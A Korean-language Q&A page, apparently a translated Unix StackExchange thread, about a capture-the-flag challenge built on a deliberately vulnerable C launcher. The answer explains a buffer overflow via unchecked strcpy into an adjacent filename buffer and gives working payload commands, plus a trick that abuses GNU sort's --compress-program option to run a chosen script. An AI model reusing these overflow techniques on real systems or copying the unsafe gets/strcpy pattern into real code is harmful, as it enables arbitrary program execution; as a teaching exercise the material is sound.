정렬 및/또는 uniq 기능을 사용하여 프로그램 시작

정렬 및/또는 uniq 기능을 사용하여 프로그램 시작

프로그램의 취약점을 악용해야 하는 챌린지를 하고 있습니다. 특히 프로그램을 시작하려면 sort 및/또는 uniq를 사용해야 하는 것 같습니다. 그러나 나는 이러한 기능에 대한 다양한 문서를 약 몇 시간 동안 검색해 보았는데 이것이 어떻게 가능한지 이해가 되지 않습니다. 이 폴더에서 사용할 수 있는 파일은 Linux의 sort 및 uniq 함수입니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libgen.h>

char buffer[192] = "";
char filename[192] = "";


int main(int argc, char *argv[])
{

  if (argv[1]) {
    snprintf(filename, 255, "/home/challenge/%s", basename(argv[1]));
    printf("Checking filename %s\n", filename);
    if (access(filename, X_OK)) {
      fprintf(stderr, "You do not have the permission to execute this file\n");
      return 1;
    }
  }
  else {
    fprintf(stderr, "Please provide the program name\n");
    return 2;
  }

  if (argv[2]) {
    strcpy(buffer, argv[2]);
  }
  else {
    gets(buffer);
  }
  printf("Executing filename %s\n", filename);

  execlp(filename, filename, buffer, (char *)0);

  return 0;
}

목표는/동시에 uniq/sort 대신에 uniq/sort를 수행하는 프로그램을 시작하는 것입니다. 어떤 아이디어가 있나요?

답변1

편집하다

@icarus가 댓글에서 언급했듯이 챌린지의 요점을 놓치고 있습니다. 목표는 sort또는 을 악용하는 것이 uniq아니라 프로그램을 악용하는 것입니다. 이는 다음 명령을 사용하여 쉽게 수행됩니다.버퍼 오버플로 공격. 귀하의 질문이 더 적합합니다stackoverflow.com이 사이트는 아니지만 어쨌든 답변해 드리겠습니다.

크기는 buffer192바이트입니다. 그러나 buffer( ) 인수에서 복사할 때에는 strcpy(buffer, argv[2]);크기가 실제로 192바이트인지 확인하지 않고 크기에 관계없이 두 번째 인수 전체를 복사합니다. filename뒤에 있으므로 두 번째 매개변수의 처음 192바이트 이후의 모든 내용은 "오버플로"되어 buffer메모리의 변수 주소를 덮어씁니다.filename

strcpycheck filename에 있는 경우에만 실행 되므로 /home/challenge/검사는 성공적으로 통과하지만 두 번째 인수의 처음 192바이트 이후에는 모든 항목이 실행됩니다.

./challenge sort "`printf '%192s./program.sh'`"
Checking filename /home/challenge/sort
Executing filename ./program.sh
Yes, ./program.sh was indeed executed by sort!

또 다른 흥미로운 예는 다음과 같습니다.

$ printf -v ARG "%-191s\n/bin/echo" 'hello world'
$ ./challenge uniq ""$ARG""
Checking filename /home/challenge/uniq
Executing filename /bin/echo
hello world                                                                                                                                                                                    
/bin/echo

bash's를 사용하여 printf변수에 $ARG"hello world"로 시작하는 문자열을 할당하고 191바이트가 되도록 공백으로 채운 다음 개행 문자 \n, /bin/echo. /bin/echo전체를 인수로 사용하여 실행 되며 $ARG결과는 /bin/echo공백, 새 줄 및 로 채워진 "hello world"가 됩니다.

원래 답변

이것이 정확히 당신이 찾고 있는 것인지는 모르겠지만, 제 생각에는 그 방법을 찾은 것 같습니다 sort. 입력이 sort너무 높으면 sortRAM을 절약하기 위해 데이터가 임시 파일에 기록되고 결국 병합됩니다.

GNU에는 디스크 공간을 절약하기 위해 임시 파일을 압축하도록 지시하는 sort옵션도 있습니다 . 아이디어는 임시 파일에 쓰고 제공된 프로그램을 사용하여 압축하기로 결정할 때까지 stdin으로 데이터를 계속 전송하는 것입니다(이번에는 stdin , 그 이후에는 ) .--compress-program=PROGPROGsort--compress-program=PROGsortexeclpsort

먼저, 우리가 실행하려고 하는 프로그램은 다음과 같습니다. 실제로 실행되었는지 확인할 수 있도록 일부 메시지를 표준 오류에 기록합니다.

$ cat program.sh
#!/bin/bash
echo "Yes, $0 was indeed executed by sort!" >&2
exit 1

그런 다음 다음 명령을 실행합니다.

while true; do echo; done | ./challenge sort --compress-program=./program.sh
Checking filename /home/challenge/sort
Executing filename /home/challenge/sort
Yes, ./program.sh was indeed executed by sort!

그러면 코드가 sort다음과 같이 실행됩니다.

execlp("/home/challenge/sort", "/home/challenge/sort", "--compress-program=./program.sh", (char *)0);

이는 /home/challenge/sort --compress-program=./program.sh쉘에서 실행하는 것과 같습니다. 다음으로 우리는 while로 향할 무한 루프의 빈 줄을 에코 할 것입니다 sort. 결국 sort우리는 임시 파일에 쓰고 ./program.sh압축하려고 결정합니다. 보시다시피 ./program.sh이것은 실제로 실행되어 STDERR에 기록됩니다.Yes, ./program.sh was indeed executed by sort!

이것이 내가 생각할 수 있는 유일한 방법이다. 나는 그것을 악용할 방법을 찾을 수 없습니다 uniq.

관련 정보